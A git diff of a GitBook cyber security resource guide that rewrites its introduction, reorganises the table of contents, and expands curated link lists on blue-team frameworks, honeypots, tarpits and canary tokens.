diff --git a/README.md b/README.md index 6238fb4..68354eb 100644 --- a/README.md +++ b/README.md @@ -1,14 +1,18 @@ -# All of the Best Links and Resources on Cyber Security. +--- +description: Curated cyber security resources for SOC analysts, pentesters, DFIR practitioners, threat intelligence analysts, AppSec teams, and security learners. +--- + +# All of the Best Links and Resources on Cyber Security ![](.gitbook/assets/proxy-image.jpeg) -I'm the s0cm0nkey. I am a security analyst, threat hunter, pentester, researcher, and CTF enthusiast. By day, I run a SOC team and teach cyber security. By night, I play CTFs, hack things, and eat a professional volume of tacos. Ping me any time. I love to talk about all things security. +I'm the s0cm0nkey: a security analyst, threat hunter, pentester, researcher, and CTF enthusiast. By day, I run a SOC team and teach cyber security. By night, I play CTFs, hack things, and eat a professional volume of tacos. Ping me any time. I love to talk about all things security. [https://s0cm0nkey.github.io/](https://s0cm0nkey.github.io/) s0cm0nkey@protonmail.com -@s0cm0nkeysec +@s0cm0nkeysec @s0cm0nkey@infosec.exchange @@ -17,9 +21,27 @@ Check out my online course with Applied Network Defense: Command Line Essentials ### What is this? -There are so many guides for security floating around the internet, it is hard to know where they all are and which ones are worth their salt. I am writing this reference guide by leveraging my true skill in security: _finding other people's hard work_. I am not smart enough or skilled enough to top the creators of these tools or the professionals that have used them twice as long as I have. +There are so many security guides, tools, and writeups floating around the internet that it is hard to know where they all are and which ones are worth your time. I built this reference guide by leaning into my true skill in security: _finding other people's hard work_. + +This is a curated set of resources I have found useful across cyber security: defensive operations, offensive testing, DFIR, cloud, engineering fundamentals, privacy, and training. Each page should give enough context to help you choose the right resource without turning into a textbook. + +## How to use this guide + +If you are new or trying to jump into a specific role, start with the guided paths and resource index: + +{% content-ref url="start-here.md" %} +[start-here.md](start-here.md) +{% endcontent-ref %} + +{% content-ref url="resource-index.md" %} +[resource-index.md](resource-index.md) +{% endcontent-ref %} -What this will be is a collection of the best tools and resources I have been able to find and use for all my endeavors across cyber. With 10,000 different tools and blogs out there, it is hard to tell which has what you need. Hopefully, I can share the results of my trial and error process, and point you in the right direction towards the resource you need. This guide will provide some basic information where it can, and then point the reader to a slew of resources you can use to improve your skills. +* **Red** is for authorized offensive operations, testing methodology, exploitation, and red/purple team resources. +* **Blue** is for defensive operations, detection, hardening, packet analysis, and DFIR. +* **Yellow** is for supporting engineering fundamentals: cloud, containers, logging architecture, code, CLI, networking, sysadmin, and AI/ML. +* **Grey** is for privacy, Tor, PGP, and OPSEC references. +* **Training** is the home for courses, labs, books, CTFs, certifications, and Awesome lists. {% hint style="info" %} Note: These are my personal notes and links curated for public use. The notes and comments are not all of my own. If someone has written something better than I, I will use it and link to their work. I do not claim any copyright or creative content. @@ -35,6 +57,6 @@ Warning: Do not use any of the mentioned tools referenced here for illegal, unet **Other Publications:** -[https://www.deepwatch.com/blog/logging-strategy/](https://www.deepwatch.com/blog/logging-strategy/) +[Logging strategy](https://www.deepwatch.com/blog/logging-strategy/) - also referenced in the Security Logging section. [https://s0cm0nkey.gitbook.io/port-scanner-shootout](https://s0cm0nkey.gitbook.io/port-scanner-shootout) diff --git a/SUMMARY.md b/SUMMARY.md index c2da565..a906c8a 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -1,6 +1,8 @@ # Table of contents * [All of the Best Links and Resources on Cyber Security.](README.md) +* [Start Here](start-here.md) +* [Resource Index](resource-index.md) * [Cyber Intelligence](cyber-intelligence/README.md) * [OSINT](cyber-intelligence/osint/README.md) * [Search Engines](cyber-intelligence/osint/search-engines/README.md) @@ -21,36 +23,12 @@ * [Reconnaissance and Scanning](red-offensive/scanning-active-recon/README.md) * [Recon Frameworks](red-offensive/scanning-active-recon/recon-frameworks.md) * [NMAP](red-offensive/scanning-active-recon/nmap.md) - * [Burp Suite](web-app-hacking/burp-suite.md) - * [Web App Testing Frameworks](web-app-hacking/web-app-testing-frameworks.md) - * [Web App Scanning Utilities](web-app-hacking/scanning-utilities.md) - * [Exploitation and Targets](red-offensive/testing-methodology/exploit-research.md) + * [Exploitation and Targets](red-offensive/exploitation-and-targets/README.md) * [Offensive Frameworks](red-offensive/exploitation-and-targets/offensive-frameworks.md) * [Shells](red-offensive/exploitation-and-targets/shells.md) * [MSFVenom Commands](red-offensive/testing-methodology/payloads-and-obfuscation/msfvenom-commands.md) + * [Vulnerability and Exploit Research](red-offensive/testing-methodology/exploit-research.md) * [Exploitation by Port](red-offensive/testing-methodology/exploitation.md) - * [Web App Vulnerabilities](web-app-hacking/attacks-and-vulnerabilities/README.md) - * [Broken Authentication](web-app-hacking/attacks-and-vulnerabilities/broken-authentication.md) - * [Business Logic Flaws](web-app-hacking/attacks-and-vulnerabilities/business-logic-flaws.md) - * [Clickjacking](web-app-hacking/attacks-and-vulnerabilities/clickjacking.md) - * [Command Injection](web-app-hacking/attacks-and-vulnerabilities/command-injection.md) - * [CSRF](web-app-hacking/attacks-and-vulnerabilities/csrf.md) - * [Deserialization](web-app-hacking/attacks-and-vulnerabilities/deserialization.md) - * [HTTP Host Header Attacks](web-app-hacking/attacks-and-vulnerabilities/http-host-header-attacks.md) - * [HTTP Request Smuggling](web-app-hacking/attacks-and-vulnerabilities/http-request-smuggling.md) - * [Insecure Direct Object Reference](web-app-hacking/attacks-and-vulnerabilities/insecure-direct-object-reference.md) - * [SQL Injection](web-app-hacking/attacks-and-vulnerabilities/sql-injection/README.md) - * [SQL Tips and Tricks](web-app-hacking/attacks-and-vulnerabilities/sql-injection/sql-tips-and-tricks.md) - * [SQL Basics](web-app-hacking/attacks-and-vulnerabilities/sql-injection/sql-methodology.md) - * [Manual Injection Methodology](web-app-hacking/attacks-and-vulnerabilities/sql-injection/manual-injection-methodology.md) - * [Web Cache Poisoning](web-app-hacking/attacks-and-vulnerabilities/web-cache-poisoning.md) - * [Web Sockets](web-app-hacking/attacks-and-vulnerabilities/web-sockets.md) - * [XXE - XML External Entity Attacks](web-app-hacking/attacks-and-vulnerabilities/xxe-xml-external-entity-attacks.md) - * [XSS Cross-Site Scripting](web-app-hacking/attacks-and-vulnerabilities/owasp-7-xss-cross-site-scripting.md) - * [Web Technologies](web-app-hacking/web-technologies/README.md) - * [SSL/TLS and Certificates](web-app-hacking/web-technologies/ssl-tls-and-certificates.md) - * [OAuth 2.0](web-app-hacking/web-technologies/oauth-2.0.md) - * [Web Application Firewall](web-app-hacking/web-technologies/web-application-firewall.md) * [Special Targets](red-offensive/exploitation-and-targets/special-targets.md) * [Exploit Dev/Buffer Overflow](red-offensive/testing-methodology/exploit-dev-buffer-overflow.md) * [Post Exploitation](red-offensive/testing-methodology/post-exploitation/README.md) @@ -66,6 +44,31 @@ * [Lateral Movement](red-offensive/testing-methodology/lateral-movement.md) * [Password Attacks](red-offensive/testing-methodology/password-attacks.md) * [Web App Hacking](web-app-hacking/README.md) + * [Burp Suite](web-app-hacking/burp-suite.md) + * [Web App Testing Frameworks](web-app-hacking/web-app-testing-frameworks.md) + * [Web App Scanning Utilities](web-app-hacking/scanning-utilities.md) + * [Web Technologies](web-app-hacking/web-technologies/README.md) + * [OAuth 2.0](web-app-hacking/web-technologies/oauth-2.0.md) + * [SSL/TLS and Certificates](web-app-hacking/web-technologies/ssl-tls-and-certificates.md) + * [Web Application Firewall](web-app-hacking/web-technologies/web-application-firewall.md) + * [Attacks and Vulnerabilities](web-app-hacking/attacks-and-vulnerabilities/README.md) + * [Broken Authentication](web-app-hacking/attacks-and-vulnerabilities/broken-authentication.md) + * [Business Logic Flaws](web-app-hacking/attacks-and-vulnerabilities/business-logic-flaws.md) + * [Clickjacking](web-app-hacking/attacks-and-vulnerabilities/clickjacking.md) + * [Command Injection](web-app-hacking/attacks-and-vulnerabilities/command-injection.md) + * [CSRF](web-app-hacking/attacks-and-vulnerabilities/csrf.md) + * [Deserialization](web-app-hacking/attacks-and-vulnerabilities/deserialization.md) + * [HTTP Host Header Attacks](web-app-hacking/attacks-and-vulnerabilities/http-host-header-attacks.md) + * [HTTP Request Smuggling](web-app-hacking/attacks-and-vulnerabilities/http-request-smuggling.md) + * [Insecure Direct Object Reference](web-app-hacking/attacks-and-vulnerabilities/insecure-direct-object-reference.md) + * [XSS - Cross Site Scripting](web-app-hacking/attacks-and-vulnerabilities/owasp-7-xss-cross-site-scripting.md) + * [Web Cache Poisoning](web-app-hacking/attacks-and-vulnerabilities/web-cache-poisoning.md) + * [Web Sockets](web-app-hacking/attacks-and-vulnerabilities/web-sockets.md) + * [XXE - XML External Entity Attacks](web-app-hacking/attacks-and-vulnerabilities/xxe-xml-external-entity-attacks.md) + * [SQL Injection](web-app-hacking/attacks-and-vulnerabilities/sql-injection/README.md) + * [SQL Methodology](web-app-hacking/attacks-and-vulnerabilities/sql-injection/sql-methodology.md) + * [Manual Injection Methodology](web-app-hacking/attacks-and-vulnerabilities/sql-injection/manual-injection-methodology.md) + * [SQL Tips and Tricks](web-app-hacking/attacks-and-vulnerabilities/sql-injection/sql-tips-and-tricks.md) * [Red/Purple Teaming](red-offensive/red-purple-teaming.md) * [Physical Security Testing](red-offensive/physical-security-testing.md) * [Wireless Hacking](red-offensive/wireless-hacking.md) @@ -97,9 +100,9 @@ * [Device Auditing and Hardening](blue-defense/device-hardening/README.md) * [Windows Hardening Commands](blue-defense/device-hardening/windows-hardening-commands.md) * [AD Security Checks](blue-defense/device-hardening/ad-security-checks.md) - * [Stegonography](blue-defense/stegonography.md) - * [Asset and Vulnerability Management.](blue-defense/vulnerability-management..md) - * [Blue ToolBox](blue-defense/blue-toolbox.md) + * [Steganography](blue-defense/steganography.md) + * [Asset and Vulnerability Management](blue-defense/vulnerability-management.md) + * [Blue Toolbox](blue-defense/blue-toolbox.md) * [Blue - DFIR: Digital Forensics and Incident Response](dfir-digital-forensics-and-incident-response/README.md) * [Interact with remote machine](dfir-digital-forensics-and-incident-response/interact-with-remote-machine.md) * [Windows System Enumeration](dfir-digital-forensics-and-incident-response/windows-system-enumeration.md) @@ -120,9 +123,9 @@ * [Reverse Engineering](dfir-digital-forensics-and-incident-response/binary-analysis-reverse-engineering.md) * [Yellow - NetEng/SysAdmin](yellow-neteng-sysadmin.md) * [Yellow - Logging and Security Architecture](security-logging/README.md) - * [How create a logging strategy](security-logging/how-to-log.md) + * [How to create a logging strategy](security-logging/how-to-log.md) * [Logging - Network Services](security-logging/logging-guide-network-services.md) - * [Logging - Endpoint Logs](security-logging/logging-guide-windows-endpoint-logs.md) + * [Logging - Endpoint Logs (Windows & Linux)](security-logging/logging-guide-windows-endpoint-logs.md) * [Logging - User Behavior Monitoring](security-logging/logging-user-behavior-monitoring.md) * [Logging - Cloud](security-logging/logging-cloud.md) * [Device Discovery and Asset Monitoring](security-logging/device-discovery-and-asset-inventory.md) @@ -134,9 +137,9 @@ * [CLI Components](code-tools/bash/cli-components.md) * [Common Commands](code-tools/bash/common-commands.md) * [Install Scripts](code-tools/bash/install-scripts.md) - * [NMAP Diffing](code-tools/bash/nmap-diffing.md) + * [Nmap Diffing](code-tools/bash/nmap-diffing.md) * [Heartbleed Vuln Check](code-tools/bash/heartbleed-vuln-check.md) - * [Powershell](code-tools/powershell/README.md) + * [PowerShell](code-tools/powershell/README.md) * [Common Commands](code-tools/powershell/common-commands.md) * [Regex](code-tools/regex.md) * [Learn to Code](code-tools/learn-to-code.md) diff --git a/blue-defense/README.md b/blue-defense/README.md index c7a88f5..8d79bf5 100644 --- a/blue-defense/README.md +++ b/blue-defense/README.md @@ -1,83 +1,170 @@ +--- +description: Blue team resources for SOC operations, detection engineering, threat hunting, packet analysis, hardening, and vulnerability management. +--- + # Blue - Defensive Operations -Blue teaming is the bread and butter of the security industry. While offensive security looks cooler, and has more pop culture around it, defensive operations are what really keeps us all safe. Defending is a multi-faceted process that combines hardening your network against attacks, as well as improving your visibility and trying to detect attacks when they hit you or happen to slip by your other defenses. \ -The odds are stacked against defenders. Remember, Defenders have to successfully protects against thousands of different types of attacks. Attackers, only need one that you miss.For developing your defensive cyber skills, you must start as a generalist. Your knowledge must be an inch deep and mile wide, simply to understand where you need to go in the future. This starts with basic certification and terminology. From here you will learn more complex concepts and develop into a specialty. Understand one big important thing: Understanding how to successfully use a security tool, is just as important as understanding the theory behind it. A SIEM is useless if you don't know how to perform a query. +Blue teaming forms the foundation of the cybersecurity industry. While offensive security often attracts more attention in popular culture, defensive operations are what protect organizations and users from real-world threats. Defending is a multi-faceted discipline that combines hardening, visibility, detection, hunting, response readiness, and continuous improvement. + +The odds are inherently stacked against defenders. A defender must successfully protect against thousands of attack vectors, while an attacker needs only one successful breach. To develop effective defensive cybersecurity skills, you must begin as a generalist with broad foundational knowledge—an inch deep and a mile wide—to understand where to focus your efforts as you progress. This journey starts with foundational certifications and core terminology, then advances to more complex concepts and specialized expertise. + +**Remember this key principle:** Understanding how to effectively use a security tool is just as critical as understanding the theory behind it. A SIEM is useless if you cannot perform effective queries. -In this section I have added every bit of tool and reference to defensive operations that I have used. Try tools out, practice the labs, and as always, READ THE DOCUMENTATION. +This section focuses on defensive operations: security program foundations, logs and telemetry, event detection, threat hunting, packet analysis, hardening, vulnerability management, active defense, and defensive tooling. Web application testing, offensive reconnaissance, threat intelligence feeds, deep malware analysis, and training catalogs have their own sections. -For those wanting to build up their certifications and progress in your career, check out the [Security Certification Roadmap](https://pauljerimy.com/security-certification-roadmap/) to see what is next for you. +## Foundational Defensive References -## **Blue team resources** +These are broad references that help defenders understand programs, controls, adversary behavior, detection strategy, and SOC maturity. -* [Awesome Lists Collection: Security Blue Team](https://github.com/fabacab/awesome-cybersecurity-blueteam) - A curated collection of awesome resources, tools, and other shiny things for cybersecurity blue teams. -* [Awesome Lists Collection: Security ](https://github.com/sbilly/awesome-security)- A collection of awesome software, libraries, documents, books, resources and cool stuff about security. -* [Awesome Lists Collection: Industrial Control Systems Security](https://github.com/hslatman/awesome-industrial-control-system-security) - A curated list of resources related to Industrial Control System (ICS) security. -* [NIST CSF: Cyber Security Framework](https://www.nist.gov/cyberframework) - The Framework is voluntary guidance, based on existing standards, guidelines, and practices for organizations to better manage and reduce cybersecurity risk. This is a great place to start when building a security program from the ground up. - * [NIST-to-Tech](https://github.com/mikeprivette/NIST-to-Tech) - An open-source listing of cybersecurity technology mapped to the NIST Cybersecurity Framework (CSF) - * [NIST SP:800-37](https://csrc.nist.gov/publications/detail/sp/800-37/rev-2/final) - Risk Management Framework for Information Systems and Organizations: A System Life Cycle Approach for Security and Privacy - * [NIST SP:800-53](https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final) - Security and Privacy Controls for Information Systems and Organizations -* [SANS Blue Team Operations](https://wiki.sans.blue/#!index.md) - SANS Blue Team wiki built by the instructors of the SANS defensive courses. -* [ISECOM](https://www.isecom.org/) - The Institute for Security and Open Methodologies (ISECOM) is an open, security research community providing original resources, tools, and certifications in the field of security. -* [CIS Top 20 Controls](https://www.cisecurity.org/controls/cis-controls-list/) - Looking for a place to start when improving your security program? Start here! - * [https://blog.rsisecurity.com/what-are-the-20-cis-critical-security-controls/](https://blog.rsisecurity.com/what-are-the-20-cis-critical-security-controls/) -* [Detection Maturity model ](https://ryanstillions.blogspot.com/2014/04/the-dml-model\_21.html)- Guide for levels of maturity and development of a security program. -* [Pyramid of Pain](https://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html) - Relationships between indicators and effectiveness of protection. -* [Security Metrics](https://www.nist.gov/system/files/documents/2016/09/16/mandiant\_rfi\_response.pdf) by Mandiant -* [10 strategies of a world class SOC](https://www.mitre.org/sites/default/files/publications/pr-13-1028-mitre-10-strategies-cyber-ops-center.pdf) +* [NIST Cybersecurity Framework (CSF 2.0)](https://www.nist.gov/cyberframework) - A practical structure for organizing, measuring, and improving a security program. +* [CIS Controls](https://www.cisecurity.org/controls/) - Prioritized safeguards that help translate defensive goals into implementable controls. +* [CIS Benchmarks](https://www.cisecurity.org/cis-benchmarks/) - Configuration guidance for hardening operating systems, applications, cloud platforms, and network devices. +* [MITRE ATT&CK Framework](https://attack.mitre.org/) - The common language for mapping adversary tactics and techniques to detections, hunts, and coverage gaps. + * [ATT&CK Navigator](https://mitre-attack.github.io/attack-navigator/) - Useful for visualizing defensive coverage and planning improvements. + * [ATT&CK for ICS](https://attack.mitre.org/ics/) - ATT&CK knowledge base for industrial control system environments. +* [MITRE D3FEND](https://d3fend.mitre.org/) - A defensive countermeasure knowledge graph that pairs well with ATT&CK when thinking through controls. +* [MITRE CAR](https://car.mitre.org/) - Detection analytics mapped to ATT&CK. The project has limited recent updates, but remains useful for learning analytic patterns. +* [Sigma Rules](https://github.com/SigmaHQ/sigma) - Platform-agnostic detection rules that can be translated into many SIEM query languages. +* [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team) - Small, ATT&CK-mapped tests for validating whether controls and detections behave as expected. +* [Detection Maturity Model](https://ryanstillions.blogspot.com/2014/04/the-dml-model_21.html) - A model for thinking about how detection capability improves over time. +* [Pyramid of Pain](https://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html) - A useful mental model for understanding which indicators and detections create the most friction for adversaries. +* [10 Strategies of a World-Class SOC](https://www.mitre.org/news-insights/publication/10-strategies-world-class-cybersecurity-operations-center) - MITRE guidance for building and improving security operations. +* [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) - A defender-focused source for prioritizing vulnerabilities that are actively exploited in the wild. -## **Training and Resources** +## Curated Blue Team Collections -**For resources including offensive security courses, books, CTFs and much more, please check out the Training and Resources section of this guide.** +These collections are useful starting points when you need a broader map of blue-team resources. -* [https://tryhackme.com/module/security-operations-and-monitoring](https://tryhackme.com/module/security-operations-and-monitoring) -* [https://tryhackme.com/path/outline/blueteam](https://tryhackme.com/path/outline/blueteam) +* [Awesome Lists Collection: Security Blue Team](https://github.com/fabacab/awesome-cybersecurity-blueteam) - A curated collection of tools, references, and learning resources for blue teams. +* [Awesome Lists Collection: Security](https://github.com/sbilly/awesome-security) - A broad security software, library, document, book, and resource collection. +* [Awesome Lists Collection: Industrial Control Systems Security](https://github.com/hslatman/awesome-industrial-control-system-security) - A curated ICS security resource collection. +* [SANS Blue Team Operations](https://wiki.sans.blue/#!index.md) - A blue-team wiki created and maintained by SANS defensive course instructors. +* [Detection Engineering Resources](https://github.com/infosecB/awesome-detection-engineering) - A curated collection for detection engineering practices, tools, and references. +* [SANS Reading Room](https://www.sans.org/white-papers/) - Free security whitepapers, including many defensive operations and SOC topics. +* [FIRST.org](https://www.first.org/) - Incident response, threat intelligence, and security team collaboration resources. + +For courses, books, certifications, labs, and CTF-style practice, use the Training and Resources section. {% content-ref url="../training/" %} [training](../training/) {% endcontent-ref %} -## Contents +## Blue Defense Capability Map + +Use these pages when you want the detailed tools, workflows, and references for a specific defensive function. + +### Standards, Frameworks, and Benchmarks + +Use this page for ATT&CK, CIS, NIST, kill chains, maturity models, compliance references, and defensive mapping frameworks. {% content-ref url="terminology-and-mapping.md" %} [terminology-and-mapping.md](terminology-and-mapping.md) {% endcontent-ref %} +### Query Languages + +Use this page when you need SIEM, detection, and security query language references. + {% content-ref url="query-languages.md" %} [query-languages.md](query-languages.md) {% endcontent-ref %} +### Event and Log Analysis + +Use this page for log analysis concepts, analyst techniques, field references, and event interpretation. + {% content-ref url="event-and-log-analysis.md" %} [event-and-log-analysis.md](event-and-log-analysis.md) {% endcontent-ref %} +### Event Detection + +Use this section for SIEM and enrichment tools, IDS/IPS, Sysmon, detection engineering, and detection use cases. + {% content-ref url="event-detection/" %} [event-detection](event-detection/) {% endcontent-ref %} +### Packet Analysis + +Use this page for packet capture, network security monitoring, PCAP review, and protocol analysis. + {% content-ref url="packet-analysis.md" %} [packet-analysis.md](packet-analysis.md) {% endcontent-ref %} +### Threat Hunting + +Use this page for hunt methodology, hunt playbooks, threat-informed hunting, and repeatable hunt references. + {% content-ref url="threat-hunting.md" %} [threat-hunting.md](threat-hunting.md) {% endcontent-ref %} +### Active Defense + +Use this page for deception, honeypots, canaries, tarpits, and other defender-controlled engagement concepts. + {% content-ref url="active-defense.md" %} [active-defense.md](active-defense.md) {% endcontent-ref %} +### Device Auditing and Hardening + +Use this section for CIS/STIG-aligned hardening, endpoint checks, Windows hardening commands, and Active Directory defensive checks. + {% content-ref url="device-hardening/" %} [device-hardening](device-hardening/) {% endcontent-ref %} -{% content-ref url="broken-reference" %} -[Broken link](broken-reference) +### Steganography + +Use this page for detecting and analyzing hidden data in files and media from a defensive or forensic perspective. + +{% content-ref url="steganography.md" %} +[steganography.md](steganography.md) {% endcontent-ref %} -{% content-ref url="vulnerability-management..md" %} -[vulnerability-management..md](vulnerability-management..md) +### Asset and Vulnerability Management + +Use this page for asset inventory, vulnerability prioritization, exposure management, CVE context, KEV, EPSS, and remediation planning. + +{% content-ref url="vulnerability-management.md" %} +[vulnerability-management.md](vulnerability-management.md) {% endcontent-ref %} +### Blue Team Toolbox + +Use this page for defensive tools that do not fit cleanly into a narrower page. + {% content-ref url="blue-toolbox.md" %} [blue-toolbox.md](blue-toolbox.md) {% endcontent-ref %} + +## Related Sections + +Some defensive workflows depend on adjacent disciplines. Use these sections when the resource is primarily owned by another category. + +* Threat intelligence feeds, indicator enrichment, reputation lookups, threat maps, and OSINT pivots live in Cyber Intelligence. + +{% content-ref url="../cyber-intelligence/" %} +[cyber-intelligence](../cyber-intelligence/) +{% endcontent-ref %} + +* OWASP, web application risk models, Burp Suite, ZAP, WAF testing, and web vulnerability methodology live in Web App Hacking. + +{% content-ref url="../web-app-hacking/" %} +[web-app-hacking](../web-app-hacking/) +{% endcontent-ref %} + +* Incident response, forensics, malware analysis, sandboxing, YARA authoring, and reverse engineering live in DFIR. + +{% content-ref url="../dfir-digital-forensics-and-incident-response/" %} +[dfir-digital-forensics-and-incident-response](../dfir-digital-forensics-and-incident-response/) +{% endcontent-ref %} + +* Logging strategy, log source evaluation, collection architecture, and security architecture live in Logging and Security Architecture. + +{% content-ref url="../security-logging/" %} +[security-logging](../security-logging/) +{% endcontent-ref %} diff --git a/blue-defense/active-defense.md b/blue-defense/active-defense.md index 40fbc2e..a0ff42a 100644 --- a/blue-defense/active-defense.md +++ b/blue-defense/active-defense.md @@ -2,15 +2,21 @@ ## Theory -### [**Mitre Shield** ](https://shield.mitre.org/matrix/) +### [**MITRE Engage**](https://engage.mitre.org/) -The sister framework to Mitre Att\&ck, Mitre Shield is the framework of mapping tools and techniques to the area of Active Defense. The U.S. Department of Defense defines active defense as “The employment of limited offensive action and counterattacks to deny a contested area or position to the enemy.” Within Mitre Shield, active defense ranges from basic cyber defensive capabilities to cyber deception and adversary engagement operations. The combination of these defenses allows an organization to not only counter current attacks but also to learn more about that adversary and better prepare for new attacks in the future. +MITRE Engage (formerly MITRE Shield) is a framework designed to map tools and techniques in the realm of Active Defense and adversary engagement. The U.S. Department of Defense defines active defense as "The employment of limited offensive action and counterattacks to deny a contested area or position to the enemy." MITRE Engage helps defenders improve their cyber deception and active defense strategies by standardizing terminology and creating opportunities to engage adversaries. + +*Note: The original MITRE Shield matrix has been archived and superseded by MITRE Engage.* + +### **Moving Target Defense (MTD)** + +Moving Target Defense is a strategy that involves dynamically shifting the attack surface to increase uncertainty and complexity for attackers. By continuously changing system configurations, network addresses, or software environments, defenders can limit the window of opportunity for an attack and force adversaries to constantly re-acquire targets. ## **Tools** ### **Honeypots** -Honeypots are a core part of Active Defense. Beyond thier incredible value for learning about attackers and their methods, they are an incredible utility for detection in security programs of any maturity level. One of the core concepts of Honeypots is the assumption that compromise will happen. By preparing a target so juicy, or a resource so infrequently used that access to it can be initiated by an unsuspecting attacker, you can catch actors in your network even if they are savy enough to sneak past all your other defenses. +Honeypots are a cornerstone of Active Defense. Beyond their value in gathering intelligence on attackers and their methods, they offer exceptional utility for detection across security programs of all maturity levels. A key concept behind honeypots is the assumption that compromise is inevitable. By deploying attractive targets or resources that are rarely accessed, any interaction with them becomes inherently suspicious. This approach allows defenders to detect threat actors within the network, even if those actors have successfully evaded other defensive measures. * [Awesome Lists Collection : Honeypots](https://github.com/paralax/awesome-honeypots) * [https://tryhackme.com/room/introductiontohoneypots](https://tryhackme.com/room/introductiontohoneypots) @@ -19,70 +25,88 @@ Honeypots are a core part of Active Defense. Beyond thier incredible value for l {% tabs %} {% tab title="Honeypot Tools" %} -* [HoneyD](https://www.honeyd.org) - The OG Honeypot. Honeyd is a small daemon that creates virtual hosts on a network. The hosts can be configured to run arbitrary services, and their personality can be adapted so that they appear to be running certain operating systems. -* [MDH: Modern Honeypot Network ](https://github.com/pwnlandia/mhn)- Easy to install and configure Honeypot service. Has config scripts for Snort, Cowrie, and Dionea. -* [Open Canary](https://github.com/thinkst/opencanary) - One of the most popular and flexible honeypot applications available. OpenCanary is a daemon that runs canary services, which can trigger alerts when accessed. The alerts can be sent to syslog, emails or an opencanary-correlator. - * [https://adhdproject.github.io/#!Tools/Attribution/OpenCanary.md](https://adhdproject.github.io/#!Tools/Attribution/OpenCanary.md) -* [Wordport - The Wordpress based Honeypot](https://github.com/adhdproject/wordpot) - * [https://adhdproject.github.io/#!Tools/Annoyance/Wordpot.md](https://adhdproject.github.io/#!Tools/Annoyance/Wordpot.md) -* [Labrea](https://labrea.sourceforge.io/labrea-info.html) - LaBrea takes over unused IP addresses, and creates virtual servers that are attractive to worms, hackers, and other denizens of the Internet. The program answers connection attempts in such a way that the machine at the other end gets "stuck", sometimes for a very long time. +* [**OpenCanary**](https://github.com/thinkst/opencanary) - A highly popular and flexible honeypot application. OpenCanary runs "canary" services that trigger alerts upon access. These alerts can be forwarded to syslog, email, or an OpenCanary correlator. + * [Reference: ADHD Project - OpenCanary](https://adhdproject.github.io/#!Tools/Attribution/OpenCanary.md) +* [**T-Pot**](https://github.com/telekom-security/tpotce) - An all-in-one, multi-honeypot platform. T-Pot includes many of the tools listed here (like Cowrie, HoneyTrap, etc.) in a pre-configured, Dockerized environment with an ELK stack for visualization. +* [**Dionaea**](https://github.com/Dionaea/dionaea) - A low-interaction honeypot designed to capture malware by simulating vulnerable services. +* [**Cowrie**](https://github.com/cowrie/cowrie) - A medium-to-high interaction SSH and Telnet honeypot designed to log brute-force attacks and shell interactions. +{% endtab %} + +{% tab title="Tarpits" %} +Tarpits are designed to slow down or stall automated attacks and scanners. Unlike honeypots which monitor, tarpits actively consume attacker resources (time) by keeping connections open indefinitely or responding very slowly. + +* [**Endlessh**](https://github.com/skeeto/endlessh) - An SSH tarpit that sends an endless, random SSH banner. It can trap SSH clients and scripted attacks, keeping them occupied for hours or days without using significant server resources. +* [**Portspoof**](https://github.com/drk1wi/portspoof) - Confuses port scanners by returning false port information. + * [Black Hills Infosec: How to use Portspoof](https://www.blackhillsinfosec.com/how-to-use-portspoof-cyber-deception/) {% endtab %} {% tab title="Honeyports" %} -Honeyports are a great way to dynamically blacklist attacking systems. You can create a simple script that dynamically blacklist attackers when they establish full connections to certain ports, or perform simple alerting. - -* [Honeyports tool](https://github.com/adhdproject/honeyports) - * [https://adhdproject.github.io/#!Tools/Annoyance/HoneyPorts.md](https://adhdproject.github.io/#!Tools/Annoyance/HoneyPorts.md) -* [RubberGlue](https://github.com/adhdproject/rubberglue) - * [https://adhdproject.github.io/#!Tools/Annoyance/Rubberglue.md](https://adhdproject.github.io/#!Tools/Annoyance/Rubberglue.md) - * [https://bitbucket.org/Zaeyx/rubberglue/src/master/](https://bitbucket.org/Zaeyx/rubberglue/src/master/) -* [Invisport ](https://bitbucket.org/Zaeyx/invisiport/src/master/) -* _Offensive Countermeasures - pg. 34_ +Honeyports provide an effective mechanism for dynamically blocking or "blacklisting" attacking systems. By monitoring specific ports, you can employ scripts that automatically block attackers upon establishing a full connection, or simply trigger alerting mechanisms. + +* [**HoneyPorts**](https://github.com/adhdproject/honeyports) + * [Reference: ADHD Project - HoneyPorts](https://adhdproject.github.io/#!Tools/Annoyance/HoneyPorts.md) +* [**RubberGlue**](https://github.com/adhdproject/rubberglue) + * [Reference: ADHD Project - RubberGlue](https://adhdproject.github.io/#!Tools/Annoyance/Rubberglue.md) + * [Source: Bitbucket](https://bitbucket.org/Zaeyx/rubberglue/src/master/) +* [**Invisiport**](https://bitbucket.org/Zaeyx/invisiport/src/master/) +* _Reference: Offensive Countermeasures - pg. 34_ {% endtab %} {% tab title="Honey-Assets" %} -Files, Objects, Accounts, or other resources that would normally not be touches by any legitimate user or process, that are set to perform a specific action when accessed. - -* [Canary Tokens](http://canarytokens.org/) - Canary Tokens are outstanding objects that can beacon back when activated. For example, you could create a Word document that calls back. Or, in this example, a little snippet of HTML code that calls back whenever it is activated - * [https://adhdproject.github.io/#!Tools/Attribution/CanaryTokens.md](https://adhdproject.github.io/#!Tools/Attribution/CanaryTokens.md) - * [https://www.youtube.com/watch?v=mDnaEmpO1C4](https://www.youtube.com/watch?v=mDnaEmpO1C4) -* [dcept](https://github.com/secureworks/dcept) - A tool for deploying and detecting use of Active Directory honeytokens -* [CryptoLocked](https://github.com/PrometheanInfoSec/cryptolocked-ng) - an anti-ransomware toolkit -* [Artillery](https://github.com/BinaryDefense/artillery) - Honeypot, honeyport, file integrity monitoring all in one. The one project to rule them all. - * [https://adhdproject.github.io/#!Tools/Annoyance/Artillery.md](https://adhdproject.github.io/#!Tools/Annoyance/Artillery.md) - * [https://medium.com/@Mag1cM0n/active-cyberdefense-installing-artillery-on-windows-server-2012-r2-e1ab22974947](https://medium.com/@Mag1cM0n/active-cyberdefense-installing-artillery-on-windows-server-2012-r2-e1ab22974947) - * _Offensive Countermeasures - pg. 76_ - * _Honeydocs - Applied Network Security Monitoring, pg.335_ +Honey-assets act as "tripwires." These are files, objects, accounts, or other resources that legitimate users or processes have no reason to access. They are configured to trigger a specific action or alert when interacted with. + +* [**Canary Tokens**](http://canarytokens.org/) - Deceptive objects that beacon back to a server when activated. 